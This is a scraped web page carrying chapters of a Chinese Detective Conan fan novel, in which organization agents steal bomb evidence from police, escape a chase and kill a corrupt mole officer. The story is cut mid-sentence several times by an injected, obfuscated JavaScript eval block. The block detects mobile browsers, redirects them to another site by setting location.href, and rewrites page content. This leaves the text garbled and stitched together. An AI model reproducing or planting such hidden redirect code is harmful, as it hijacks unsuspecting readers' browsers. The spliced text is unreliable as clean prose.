目暮十三看了一眼手表:“嘛……好像有点来不及了。算了,反正又不是去开会,也不留相片。” 说着,他继续往停车场的方向走去。 “是。”佐藤迅速地跟上了目暮十三的步伐。 看着他们离开的身影,伪装成保洁员的白羽响站起了身,将伪装用的手推车迅速地停在了女厕所内,转身不近不远地跟上二人。 刚才擦裤腿的瞬间,她指尖夹着的□□,已经悄无声息贴在了目暮十三的裤脚内侧。 她快步跟上去,远远看着两人上了警车,掏出手机把车牌号和“目的地JAI公司”发给了苏格兰。 警车驶出警视厅,佐藤的脑子里依然在想着刚刚的那一幕。 那个保洁员竟然这么见外,把她的手帕晾在了一旁,奇怪…… “佐藤!” 目暮十三的声音有些急切地传来,佐藤美和子猛地踩了个刹车,这才发现她刚刚差点闯了红灯。 “啊,抱歉!”佐藤赶紧道歉,开始愧疚起自己的走神。 “你在想什么啊?”目暮十三有些无奈地说道,“这就是个普通的证物递交,不用这样心不在焉的。” “是……”佐藤咽了咽口水,把注意力放回了案件上,“目暮警官,那个传言是真的吗?” 目暮警官有些不明白地问道:“啊?” 佐藤犹豫着开口道:“上次开会结束的时候,我把资料落在了会议室。回来取的时候,我听见警备局公安局委派调查的负责人说,这个案件的男性死者,是一位秘密执行任务的FBI。” 目暮十三的脸色一时变得有些尴尬:“啊,这个啊……倒也不是特地要隐瞒你们,只是和美国那里还没对接上,又涉及到本土的管辖权问题,所以就暂时没有公开这个消息而已。” 这么说,其实他们是有尸源的线索的。 佐藤的眼睛亮了亮:“那另一位死者的身份……” “那是真的没有头绪。”目暮十三打断了佐藤的跃跃欲试,“不然的话,也不用到现在还在鉴定这份物证了。” “是……”佐藤有些失落地应了一声。 这种一知半解的线索,对案件的帮助不大。 美国人可不会慷慨到帮着他们破案,多半只是回收了美方人员的尸体,这件“秘密行动”就到此为止了。 说到底,还是得靠他们自己来查。 一边想着,她一边按照导航驶入一条僻静的小路。这条路是通往JAI公司的近道,平时车流量很少。然而刚开进去没两百米,她突然一脚刹车踩到底,轮胎摩擦地面发出刺耳的声响。 “怎么了?” 目暮十三的身体猛地前倾。他赶紧稳住肥胖的身形,顺着佐藤的目光看去。 只见前方的路口被一辆巨大的电视转播车堵得严严实实,车身上印着“东都电视台”的标识,一名穿着工作人员制服的男人正扛着摄像机在路边摆弄,像是在周围一家小店的外景。那辆转播车停在道路上,留的位置刚好不够佐藤的车通过。 佐藤咬了咬下唇,看着那辆转播车,那种不好的预感愈发明显。 目暮十三感觉到她的状态犹如一只惊弓之鸟,拍了拍她的肩膀:“别慌佐藤小姐,把车掉个头,我们换条路走吧。” 他沉稳的声音给予了佐藤安全感,让她急促的呼吸变得缓慢了一些。 “好的。”佐藤听从他的话打了转向灯,慢慢倒车掉头。 没想到的是,正在她的车即将驶出路口的时候,一辆更大的车突然从后方路口驶来,车斗里堆着盖着防水布的箱子,看起来像是一辆满载海鲜的皮卡货车。 那辆车霸道地停在路口,与前方的转播车形成夹击之势,把这条小路彻底堵死了。 “这……”目暮十三也懵了,他看了看前后两辆车,露出惊愕的神情。 佐藤美和子的眼神瞬间沉了下来。这种前后包夹的姿态,分明是不想让他们离开。 “不对劲。”她推开车门,手下意识摸向腰间的配枪,“目暮警官,我去问问情况,车里的东西都交给您了。” 目暮十三应了一声,身体也不再靠在座椅上,随着佐藤的动作一并紧张了起来。 佐藤走到海鲜车旁,车主也随之配合地摇下了车窗,看模样是个头发乱糟糟的中年女人,长得很是干瘦,穿着一套白色的防护服,整个人遮得严严实实的。佐藤直觉有些不太对,刚要开□□涉,身后的转播车突然传来一阵急促的油门轰鸣声,像是要启动离开。 目暮十三回头看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“该死……”佐藤美和子咬着牙,狠狠捶了一下车门,从车内掏出了对讲机,“呼叫总部!我是佐藤美和子,我和目暮警官在四町目45番地附近遭遇袭击,爆.炸案证物被劫!请求支援!重复,请求支援!” 转播车的驾驶室中,苏格兰摘下脸上的防毒面具,将证物袋和文件塞进随身的背包,他将车停在了一处岔路口,一个敏捷的身影钻上了他的副驾驶,停车的时间只有区区几秒钟。 油门再次踩响,苏格兰握着方向盘的手稳稳当当,从那辆租借来的海鲜车旁经过,朝着远处疾驰而去。 副驾驶上,白羽响已经换下了身上那套故意用来引人注目的衣服,额头还有一层薄汗:“甩掉了吗?” “不好说。”苏格兰简单地答道。 他从来都是谨慎的性格,白羽响心里有数。 任务终于迎来了阶段性胜利,她松了口气,目光落在副驾台的证物袋上。 透明塑料袋里,存放着一小块锈迹斑斑的金属部件。她对JAI公司有些了解,那是做工业裂解仪的,常帮警方做复杂物证鉴定。她心里不由好奇:到底是什么证物,值得组织这么大费周章? 她伸出了手,还没来得及碰到,苏格兰冷冷地开口:“白羽小姐,请不要动。” 白羽响的手顿在空中。 倒不是她不敢动弹,只是她很少听见苏格兰这么冷的语气,就宛如他一直收敛的锋芒在此刻突然释放,像突然出鞘的刀。 “请你别动。”苏格兰再次重复了一遍这句话,没有解释一句。 白羽响的指尖发凉,收回手,目光却没移开。她的视线扫过证物袋上的文字,突然顿住。 那个袋子上,贴着一个标签纸,“9.6 码头仓库爆炸案”几个黑色的字,写得清清楚楚。 她的脑子嗡的一声响了起来。 组织授意让苏格兰去偷的,是她那桩案件的证物? 等等,什么意思?刚才佐藤美和子和目暮十三的对话突然在她的耳边回响着。 ——“男性死者是个秘密执行任务的 FBI”。 和她一同死在仓库中的,是个FBI? 她的脑子嗡的一声,像是被重锤击中,一片空白。那些被大火掩埋的记忆碎片,突然开始疯狂翻涌。 14.追逃之战 白羽响的内心掀起了惊涛骇浪。 监听耳机中,那位姓佐藤的女警正在不停和总部沟通,她的耳朵还在听着,心里却不可抑制地思考着别的事。 一直以来,她都以为和她一起死在仓库里的人是莱伊。 但是现在,警方说和她死在一起的是一个FBI。 那么死者还会是莱伊吗? 她回忆着莱伊的身手、速度、风格……随便哪一点,都像是真的给人干过黑活一般。在听到FBI三个字之前,她只是往莱伊往出卖组织情报的方面去猜测,从来没有想过他会是一个卧底警探。 耳机里,已经换成了那位胖乎乎的男警官的声音。 “咳咳,我是目暮十三。通知北区警力,往三丁目小巷包抄,那边附近有一大片停车场,他们大概率要换车!” 对此毫不知情的苏格兰正要右转,白羽响立刻伸手拦住了他。 她吐出一口浊气,将脑海中关于莱伊的杂念抛诸脑后。 越到此时越要冷静。 “他们要从北侧包抄,改道走西边的窄巷。那边也有一个停车场入口,车进不去,人可以。” 苏格兰点了点头,没有犹豫,方向盘往左一打,转播车的轮胎擦过地面,堪堪避过旁边行驶的车辆,一路直行,驶离了即将合围的警力范围。 转播车停在了路边,白羽响趁苏格兰拉手刹的功夫,顺手将文件袋和证物一同拿着跳下了车。 苏格兰看了一眼她的动作,没有说话,二人一路奔跑,很快从车群之中找到了停在这里的备用车。 飞速地跃上车后,监听耳机中传来了一片滋滋的电流声,白羽响皱了皱眉,将耳机贴得更紧了些,听了几秒之后,将它一把从耳旁扯了下来,扔在了一边。 “怎么了?”苏格兰问她。 “被发现了。”白羽响简明扼要地答道,“警方比我想的要能干。” 苏格兰未置一词,在一片沉默中发动了车。 白羽响下意识回过头看了一眼他的侧脸。那双眼睛里没有慌乱和担忧,目光澄明而平静,仿佛他从她的口中听到的并不是一个坏消息。 不管如何,镇定在这种时候都比慌乱更有用。 到了无信息追逃的这一步,他们与警方,彼此就是各凭本事。 路线选择就交给苏格兰去判断了。 白羽响抓着刚刚从车上带下来的文件袋和证物,伸出手指隔着薄薄的手套判断着手中证物是什么东西。 这是一块很小的方片。 长宽都不超过五厘米,上面有一些金属光泽的纹路,应该是什么东西的零件。 她很难以平常心面对这份东西。 身为响酒的自己被当成叛徒死去,而组织却要回收她案件相关的遗物。 她不明白。 如果是不能落到警方手上的东西,处理起来应该会有很多种方法。比如说利用苏格兰提到的或许存在的警方内鬼直接偷窃;再比如说直接一把火将档案连同证物直接烧毁……但是组织没有这么做。 组织的要求很明确——盗取、回收。 她敏锐地觉察到,这个小小的证物袋中放着的并不只是一个证据,更是一条神经。 一条能在组织内部搅动风云的神经。 这或许正是苏格兰让她别动的原因。 那么苏格兰知道这是什么吗? 她偷瞄了一眼苏格兰。他正眉头微蹙,手指泛白,看起来压力不小。 现在问他,不是合适的时机,她想由自己来仔细查看这份证物。 组织让拿走证物,却只字不提案卷本身,说明对于组织来说,这份物证才是至关重要的东西。这份东西比案卷本身,更加有价值。 正想着,一辆车从身后的巷口疾驰而出,一个猛转弯杀到了他们车的身后。苏格兰在后视镜中看了一眼,脚下加大了马力。 她猛然回过头,看着那辆突然冒出来的警车。它的速度不慢,几乎是在道路上直接锁定了他们坐的这辆车,坚定地追了上来。 白羽响皱了皱眉。 这辆车是租来的,他们挑中作为中间点的停车场有四个出口,同一时间进进出出的车那么多,为什么会被第一时间锁定? 她不由心中狐疑,但行动却一点都不慢,很快就作出自己的判断。 “放慢速度。” 她轻轻地按住苏格兰的手,示意他不要急着奔逃,随后松开了自己的安全带。 车内的副驾安全带提醒的蜂鸣声随着她的动作一同响了起来,苏格兰被她突然的举动吓了一跳。 “你要干什么?” “稳住,别晃方向盘。” 白羽响说完了这句话,伸出手摸向苏格兰的前胸,从他胸口的枪袋中摸出了一把□□。 “白羽小姐……!” 苏格兰的瑞凤眼猛得圆睁,看着她熟悉的动作,大脑仿佛停滞。 不……不对。 波本明明说过,她没有使用枪的经验。 “开你的车!”白羽响下意识用命令式的口吻对他说话。 现在若是没有逼停后车的火力,他们确实难以逃脱。 苏格兰的目光看着前面,心中却止不住做出猜想——难道她打算随便开几枪吓退后车,可她会吗? 被人触碰的残留感配合胸腔砰砰作响,他紧握着方向盘,用余光看着身边的女人。 只见她熟练将枪口朝下,拇指按动弹匣释放钮弹出弹匣,确认了满弹匣之后再次卡紧,左手轻拉套筒复位上膛,扫过红色待击标记确认状态后,摇下车窗,半个身子探出,枪口稳稳对准身后紧追的车。 苏格兰被她大胆的行为惊得叫出了声。 “白羽!” 叫出名字的瞬间,子弹从她手中枪膛中射出。 只听“嘭”的一声,那颗子弹穿过了轮胎的胎壁,后车顿时失去了平衡,在道路上弯弯扭扭地行驶了一小截,刹车歪在了路边。 一枪打爆了车胎。 他用余光观察着刚开完一枪的白羽响,心中翻涌着震撼与惊疑。 摸枪的位置、确认的手法、甚至开枪时微微偏头避开硝烟的习惯,一切都那么熟悉,就像……就像…… 就像坐在他身边的是那个已经死去的人。 荒谬的猜想席卷了他的大脑,他却没有勇气开口质询。 “应该甩掉了。”白羽响轻声说着,重新系上了安全带,将手中的□□搁在二人之间的中控台上。 好在下一个换车点马上就要到了,这次换车之后,他们应该能平稳地逃出警方的包围圈。她看了一眼自己的右手,忍不住皱眉。 这是一双没开过枪的手。 □□已经是一种很稳定的枪了,但她的虎口还是有些微微刺痛的感觉。 早知如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963046|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此,前几天就该练一练枪。 她叹了口气,将头靠在了身后的枕头上,闭上了眼睛。 白羽响不知道的是,在他们身后不远处的街道上,一辆熟悉的警车正在朝着此处飞驰,只不过在主驾驶座位上的人变成了那位刚刚试图给她递手帕的女警。 几分钟前,她在通话的电波声中发现了目暮十三裤子上的“小小装置”。有人一路监听着他们的动向,甚至大概率就是他们的对手。 她不能将这样的敌人放跑,因此现在一路狂飙也要将他们绳之以法。 副驾驶的目暮十三一手拉着扶手,一手拿着警用的对讲机,随时将刚刚听见的消息传递给佐藤,配合得倒也算默契。 正在这时,目暮十三有些惊疑地说道:“奇怪了。刚刚鸭志田汇报说,他的警车在四町目银杏大道附近遭遇了歹徒的车,但是没追上,被对方打爆胎了。” 佐藤美和子的注意力十分集中,开着车在窄巷里穿梭,两侧的砖墙飞速后退。目暮十三说的话她只听了一耳朵,皱了皱眉。 “鸭志田?他不是要去米花搜查技术研究所参加培训吗?怎么会在这里?” 这位春风得意的同期,应该正要被提拔而参与着上峰安排的特殊培训,这可是他人求都求不来的好机会。 “或许他迷路了?”目暮十三难以回答这个问题。 米花搜查技术研究所在南边,地理位置与这里称得上南辕北辙。 “算了,随他要干什么吧。”佐藤对他的不喜已经不加掩饰,“这是我们的案子,一定要成功!” 伴随着这句话,佐藤美和子将车再次拐进了一条无人的小道,朝着鸭志田所说的地方赶了过去。落叶被风卷起,在空中打着旋,轮胎在人行道的边缘摩擦,发出了令人不愉快的巨响。 “佐藤小姐!”目暮十三的惊呼着,“注意安全驾驶,我好像听到后面有交警队的人在追赶的声音了。” “是。但是现在已经不能降速了!”佐藤美和子下定了决心,“如果抓不住犯人,只会更糟糕!” “喂、喂喂!” 目暮十三瞪大了眼睛,眼睁睁地看着佐藤的车从无人的台阶上冲了下去。他脸上的肉被颠得一颤一颤,眼睛都几乎睁不开,再次睁开时,他看到前方两百米处,一辆车正停在路边,一男一女从车上下来,朝着另一辆车快步走去。 “就是他们!” 佐藤美和子瞬间踩死油门,警车斜插过去,车头险些撞上对方车尾。她推开车门,枪指着前方:“别动!警.察!” 那戴兜帽的男人顿了顿,却没停步。 佐藤的手指扣在扳机上,再次警告:“再动我开枪了!” 那人的动作顿了顿,侧过了半张脸后,抬手举起了一把枪。 佐藤举枪的动作顿时停住,瞳孔猛地收缩。她盯着那个人黑漆漆的枪洞,手指僵住,突然动弹不能。 兜帽缓缓滑落一角,露出下半张脸。 “砰”。 枪声在耳边炸开,子弹擦着她的耳廓飞过,钉在身后的墙上。 佐藤美和子生理性闭眼,再睁开时,那辆车已经绝尘而去。 目暮十三用伟岸的身躯扶住了她差点跌倒的身体。而她只顾盯着墙上的弹孔。 不知为何,她竟觉得那张脸有些熟悉,像是……曾经在哪里匆匆见过一面的人。 是她的错觉吗? 15.杀意与惊人的一枪 警笛声在后视镜里渐渐变成模糊的嗡鸣,车窗外的米花町街头的风景飞速倒退。 苏格兰握着方向盘的指节泛白,眉峰拧成一道深痕。刚才两次的拦堵和追袭,打乱了原有的撤离节奏,让他眼底的凝重又深了几分。 白羽响看着他紧绷的侧脸,忽然开口:“我还以为你会把那个女警杀了。” 虽然在今天动手之前,她就做好了见血的准备。苏格兰的枪口稳稳对准那个人,却偏偏让子弹擦着她耳边掠过,与其说是攻击,不如说是警示。 以他的枪法,近距离不可能失准,分明是放过了对方。 白羽响轻声说道:“如果是我,我就会杀了她。” 倒不是她多么的喜欢多造杀孽,而是…… “她好像看到你的脸了。” 那把枪要是在她的手上,或许当场就会取走那位女警的性命。她很年轻,也很优秀,但这些在她心里比不过对搭档的私情。 在她眼里,这个人就算已经取得了代号,成为了“苏格兰”,但内在却还是她昔日的搭档“青川辉”。 她必须保护他,不能让他有任何闪失。 “以前有人跟我说过,做任务别节外生枝。”苏格兰说完,从后视镜中看了一眼白羽响,“多一条人命,就多一份暴露的风险。” 白羽响怔住,随后沉默地点了点头。 这是她以前说过的话,他还记得。 刚升腾起的杀欲没了踪影,她瞄了一眼苏格兰的侧脸,心中五味杂陈。 她已经不是第一次听苏格兰提起自己了。 有的时候,她甚至能从苏格兰的口吻中感受到,根本就没有对叛徒深恶痛绝——或许是念及旧情,也或许是他本身就不那么在意。 她不知道苏格兰对自己被处决一事究竟是怎么看待的,也不知道自己的“死而复生”能不能被他接受。 刚才在车里开枪时,她下意识用了从前惯用的验弹姿势,甚至情急之下对他用了命令式的口吻,那些刻在骨子里的习惯根本藏不住。 可她难以开口和对方袒露真相。 组织认定响酒是叛徒,就算苏格兰真的包庇了她,一旦暴露了,别说靠近真相,她和苏格兰恐怕都会被立刻灭口。 车缓缓停在一栋玻璃幕墙写字楼前,阳光反射在墙面上,晃得人睁不开眼。 她压下了心绪,故意岔开话题:“苏格兰,你觉得组织为什么想要这份证物?” 之前苏格兰不让她动,也是因为它和自己的死亡有关。但是现在,她在行动中取得了苏格兰的初步信任,时机已经成熟,她可以开口问问他的意见。 “组织研发的新型炸.弹的零部件?”苏格兰将车滑进地下停车场的阴影里,语气带着猜测,“也可能是某种高科技秘钥。我不太懂这些,不过组织最近确实在招募技术人才。据说最近招募了一个炸.弹‘专家’。” 炸.弹专家?听起来就像是为了行动组服务的。 估计没少花钱吧…… 白羽响摩挲着证物袋里那枚残缺的金属片,逐渐起了私心。 这东西若是交给了组织,从今以后肯定没有再见的机会了,她的死也会随之成为一桩无头公案。 如果莱伊真的和FBI有关系,她对组织的处置也没有怨言,但是……她的心中还是会有隐隐的不甘。 谜团就在眼前,却要将这东西拱手相让,这不是她的风格。这种重要的东西即将消失的感觉,让她的好奇心不停作祟。 如果……她能把这东西留在身边呢? 这个念头称得上胆大妄为,但对于她来说,却诱惑力十足。 不知为何,此时莱伊的身影在她的脑中一闪而过。 是啊,那也是个好奇心过剩的家伙。头铁又胆大,酷爱孤身闯险境,行动力强得惊人,要不是能力出众,早死了八百回。 她要做欠妥的事,为了自己,欺骗组织吗? 此时,苏格兰已经车子熄了火。 他简单交代道:“十分钟后,组织的人会在天台上等我们。这里最上面十层的办公室都已经废弃,我们需要坐电梯上行至顶楼,然后从消防通道上天台。” 白羽响只得暂时放弃刚刚的妄念。 两人拎着证物袋出了电梯,沿着布满灰尘的走廊行走。顶楼的废弃办公室里堆满了蒙着白布的桌椅,阳光透过破碎的玻璃窗,在地上投下斑驳的光影。 一片又一片的光污染中,粉尘呛得白羽响捂紧口鼻。苏格兰带着她往消防通道走,离天台入口只剩十米时,他突然停住了脚步。 怎么了?白羽响用目光询问他。 苏格兰摇了摇头,做了个噤声的手势,白羽响立刻配合他屏息凝神。不只是苏格兰,白羽响也听见了。 很轻微,但是很清晰。 轻微的塑料摩擦声传来,紧接着是一声清脆的“咔哒”。 她瞬间嗅到了熟悉而危险的味道,头皮都要炸开一般。 “小心!” 几乎是凭着本能,她狠狠拽了一把苏格兰的胳膊。 枪声在废弃办公室里响起,一枚子弹擦着苏格兰的胳膊飞过,在他原本站立的地面上留下一个浅坑。鲜血瞬间浸透了他外套的袖口,苏格兰闷哼一声,反手将她拽进旁边一间办公室,躲在一张积灰的办公桌后。他右臂的血已经从衣服上渗了出来,滴在地上,晕开一小片暗红,额角渗出薄汗,却和白羽响默契地保持着沉默。 “警.察,你们已经被包围了!”男人的声音带着刻意的威严,从门外传来。 这种地方,直接不分青红皂白朝他们开枪的警.察? 白羽响悄无声息地从办公室底下偷偷窥视那人。藏青色的警服,强壮的体魄,轮廓分明的侧脸,赫然是一位熟人。 竟然是前几天在居酒屋中遇见的鸭志田英! 线索突然在白羽响的脑海里串联起来。 那天,波本带她观察组织接头点时,人群里有个遮得严严实实的身影,那会儿她觉得奇怪,恐怕就是这个人吧? 因此,第二天珠宝店抢劫犯被捕,鸭志田英凭此立功,在居酒屋大肆庆祝,原来是有“内部情报”。这件事波本还特地询问过她有没有看到新闻,显然也知道其中内情。 可如果这么说,他应该是组织的人才对,为什么要对苏格兰动手? “原来如此。”苏格兰忍着痛觉轻声感叹,“反水的‘内应’……” 白羽响心头一沉。 难道说,他计划打算把苏格兰出卖给警方? 按照从警方窃听来的情报,鸭志田英并没有负责仓库爆.炸案。但是,他作为警视厅内部的奸细,将有关证物的情报传递给了组织,是板上钉钉了。 明明有这样的一个人在警方系统内,但组织却没安排他直接将证物盗走,而是另外安排了苏格兰来接手这个任务。 这究竟是因为不信任鸭志田英,还是出于对他身份的保护? 白羽响一时无法判断。 “抱歉,是我连累你了。”苏格兰的声音带着歉意。 “胡说什么?” 白羽响没好气地从他手中夺过枪,又扯开他的外衣,伸手朝着他的腰间摸去。她对苏格兰的习惯了如指掌,备用弹夹必定就在他外套的内袋之中。 那双手触摸到他腰部的时候,苏格兰有些惊讶。他下意识想要配合她的动作,却因为右手胳膊受伤而动作迟缓,只能任由自己被她上下其手。 看着她熟练的动作,他鼻间溢出一丝极轻的笑意。 这动作,这默契,太像从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968469|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个人了。 白羽响抬头,猝不及防地对上了一双蓝灰色的眼睛,浅淡的蓝灰色里映着她的身影,目光温和而柔软,恍惚间好像回到从前并肩作战的日子。然而很快,那双眼睛中温柔的底色消失了,取而代之的是几分决绝。 “交给你了。”苏格兰将手中的枪递给白羽响,简明扼要地说道,“波本在赶来的路上。” 说话间,鸭志田英的脚步声已经走到了办公桌不远处。 白羽响沉住气,起身连开几枪逼退对方。她的虎口被后坐力震得不适,手却没有停过。 瓦尔.特.P.99,苏格兰很中意的一款枪。 满弹匣有足足十五发子弹,很符合苏格兰沉稳谨慎的性格。如果要比火力,她绝不会输。 鸭志田英一时之间被她逼退到了办公室之外,有些烦躁。 不多时,他开始朝着白羽响和苏格兰喊话:“放弃吧!我有身为警.察的责任,你们两个偷窃证物的歹徒,我要逮捕你们!” “大言不惭。”白羽响冷哼一声,手指翻飞,换上了备用弹夹,“你想抢东西,还想灭口,既在组织那儿立功,又回去在警方受赏,天下怎么可能有这样的好事!” 难怪警方能够快速地查到他们的车辆位置,这人在背后做的手脚可真不少。 就算警方一路跟着追查他们的下落,也得会有反应过来的时间。除非,有一个一开始就对组织交易的地方心中有数、从任务开始起就一路偷偷观察的人,那追查他们可就方便多了。 “你做的这些事,组织知道吗?”白羽响冷笑道,“算计和暗杀一名组织中有代号的成员,就凭你?” 他这种级别的货色,想杀苏格兰还不够格。 “我和你们可不一样。”鸭志田英的声音从不远处传来,“哼,组织送我进警视厅,本来就是为了做大事!” 白羽响皱了眉头。 这幅有恃无恐的样子,加上为达目的不择手段的行为方式……看起来倒真像是受哪位组织高层的首肯,但这种事绝对不可能过了明路。 可这种认知,让她的心头产生了无名怒火。为了捧出一个“功绩赫赫”的内奸,就可以随意牺牲组织中的其他人吗? 她沉声道:“你的‘大事’,不会有后续了。” “负隅顽抗什么!”鸭志田恼怒道,“等警方的后援一来,你们都会死!” “少废话!谁先死还不一定呢。我要让你知道,你对苏格兰开的那枪需要付出什么代价!” 她没有犹豫,手指扣住扳机,朝着鸭志田英跃跃欲试伸进办公室的脚射去。 血光飞溅,鸭志田英发出了一声哀嚎,跪在了地上。 白羽响上前两步,刚准备朝着对方的头再补一枪,突然耳边传来一声脆响。 “哗啦——” 眼皮微微抽动的瞬间,顶楼的玻璃幕墙被击穿,碎片飞溅中。 一道银色的光精准地掠过她的眼前,直直射进了鸭志田英的太阳穴。 鸭志田英的身体僵了一下,手中的枪“哐当”掉在地上,然后重重倒在白布堆里,鲜血迅速漫过地面。 白羽响愣在原地,握着枪的手还保持着瞄准的姿势。 她缓缓转过头,看向子弹射来的方向。 玻璃幕墙的破洞之外的几百米处,是另一栋大楼的窗户。 白羽响怔怔地盯着那不见人影的窗户,呼吸似乎都停了下来。 那子弹,太熟悉了。 精准、迅速、直击要害,带着无需补枪的自信和不可一世的味道,像是一匹来无影去无踪的独狼。 “莱伊……” 她默默地念了那个熟悉的名字,大脑一片空白。 不,这不可能。 他不可能还活着。 16.证物传递 周围的喧嚣仿佛被按下静音键。 空气中带着点血腥味,放轻呼吸后宛若凝滞不动了一般死寂,只有遥遥传来的隐约车鸣还在发出响声。 白羽响的目光慢慢从远处无人的窗户上收了回来。 忽略开枪的人或许是莱伊,这种突如其来的一枪就只是组织任务的双保险,没什么好奇怪的。以前她单独行动的时候,也经常让苏格兰做双保险。 远处的狙.击手已走,她回头说道:“没事了。” 听她这么说,苏格兰松了口气,撩起染血的黑色衣袖。 那一枪打得不太巧。 子弹擦过他的胳膊划开一道深沟,皮肉外翻,暗红的血珠正顺着小臂往下滚,滴落在积灰的地板上,晕开一小片深色印记。 就在此时,身后突然“砰”的一声枪响,骤然刺破死寂。 指尖不小心触到伤口边缘,一阵尖锐的灼痛顺着神经窜上来。他浑身肌肉瞬间绷紧,脊背绷得笔直,几乎是条件反射般猛地回头,看向声音的来源。 发生了什么? 不远处,白羽响正背对着他蹲在鸭志田英的尸体旁,乌黑的长发垂落肩头,遮住了大半侧脸。 察觉到了苏格兰的警惕,她缓缓转过头,手中的瓦.尔特还冒着一丝淡淡的硝烟,用平静的口吻说道:“我开的。再补了一枪,确认他死透了。” 说着,她用鸭志田的警服擦拭干净那把瓦.尔特枪口的硝烟,来到苏格兰身边,将枪递还给他。 苏格兰的目光持续留在鸭志田的死相上。 太阳穴上远程狙杀留下的弹孔清晰可见,鲜血早已浸透了身下的塑料布,在地面漫开一片刺目的猩红。 太阳穴中枪本就是致命伤,根本无需多此一举来补枪。 苏格兰的眼底掠过一丝疑惑。但他没多问,只是缓缓收了枪,将那份疑虑压进心底。 至少,白羽响手中的证物袋完好无损。这个一波三折的任务,总算有惊无险地完成了。 “你的手……” 白羽响的目光落在他流血的胳膊上,眉头瞬间蹙起。 她上前一步,轻轻拽住他的手腕,小心翼翼地翻看伤口。子弹蹭掉了一块不小的皮肉,形成一道沟状枪伤,血还在往外渗,所幸并未穿透筋肉,只是看着狰狞。 她下意识想去摸随身携带的急救用品,却被苏格兰轻声制止:“走吧,约定时间到了,别让组织的人等。” 两人踏着积灰的楼梯往上走,消防通道的铁门被推开时,风裹挟着车水马龙的喧嚣扑面而来。天台上空荡荡的,只有几架废弃的空调外机锈迹斑斑,以及日光在玻璃幕墙上投下流动的光影。 白羽响抬眼扫了一圈,确认天台上没有任何隐藏的人影,才将目光投向苏格兰:“接头的人呢?” 组织内部传递物品很常见,但像这样约定时间却无人现身的情况,却很罕见。她心里隐隐有些不安。 尤其是苏格兰的伤,拖延越久,感染的风险就越大。 苏格兰打开了手机,指尖划过屏幕查看新收到的邮件,语气平静地解释:“我们要启用天台的内部综合物流系统,直接将东西传递到对方手中,期间不需要碰面。” “物流系统?” 白羽响挑眉,顺着他示意的方向走到西侧墙角。 那里立着一个不起眼的金属箱体,表面蒙着厚厚的灰尘,像是早已废弃的设备。 她犹豫了一下之后,伸手抓住箱体侧面的把手,稍一用力,沉重的金属板便“吱呀”一声向上掀起,露出内部嵌着的导轨式液压货梯——尺寸虽然不大,但容纳一个证物袋绰绰有余。 她看了两眼,导轨上沾着些许油污,没有完全废弃,只是十分老旧。 “我们费这么大劲到了天台,就是为了把这东西放进这个‘垃圾货梯’里,再往下送?”白羽响皱眉,“一来一回,折腾就算了,连对方的面都见不到吗?” 这种导轨货梯曾在老写字楼里流行过,既能传垃圾,也能临时运小件货物,却因防火、气味等问题,留下的隐患太多,很快成了建筑史上的废案。 但是,组织挑中这栋楼来进行这个任务,绝非偶然。这种不碰面的传递方式,既能保证双方安全,又能最大限度避免泄露。 就是这种遮遮掩掩的行动方式,让白羽响的心中升起一丝不爽。 她和苏格兰为了这个任务承担了巨大的风险,却连对方的真面目都见不到。这意味着,他们与任务的验收者之间是完完全全的不对等关系。 不管是警局内部的黑警,还是远处伏击的狙.击手,亦或是这种不愿意相见的交货方式,都让人明显地感觉到“不被信任感”。 这是因为她,还是因为苏格兰? 正想着这些事的时候,苏格兰已经弯腰将证物袋放进货梯:“是这个意思。” 白羽响抿了抿嘴,心里忍不住想念琴酒那种直白的交接方式——直升机直接降落在天台,交物之后直接离开,虽然简单粗暴,却至少不至于连究竟在为谁做事都弄不明白。 苏格兰合上货梯的金属盖板之后,二人都沉默地看着那个货梯。它周围没有任何的按键,也不知道要如何手动启动。 正在这时,货梯内部突然传来“嗡”的一声轻响,机械运转的声音顺着导轨向下蔓延。 看来根本无需他们操作,这东西会自动送往预设的楼层,交到接应人的手中。 白羽响眯了眯眼睛。 什么人在接受这份情报? “走吧。”苏格兰收回目光,转身走向楼梯间,“会有人来这里的善后,我们不用管。” 白羽响应了一声,利落脱下自己的黑色外套,上前一步搭在他流血的胳膊上。外套的长度刚好遮住衣料上的血污,避免在路上引起路人注意。 “我来开车。” 她从苏格兰的手中接过车钥匙,坐进驾驶座时动作熟练得不像话,点火、挂挡、踩油门一气呵成。车子缓缓驶离写字楼地下停车场,路过大楼入口时,白羽响的目光扫过墙面贴着的“NOVARE EDIFICE”字样。 若不是苏格兰的伤耽搁不得,她真想顺着这物流系统的线索查下去,看看这份关乎她“死亡真相”的证物,最终会落到谁的手里。 她收回目光,再次换了一辆车,朝着安全屋而去。 与此同时,NOVARE EDI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 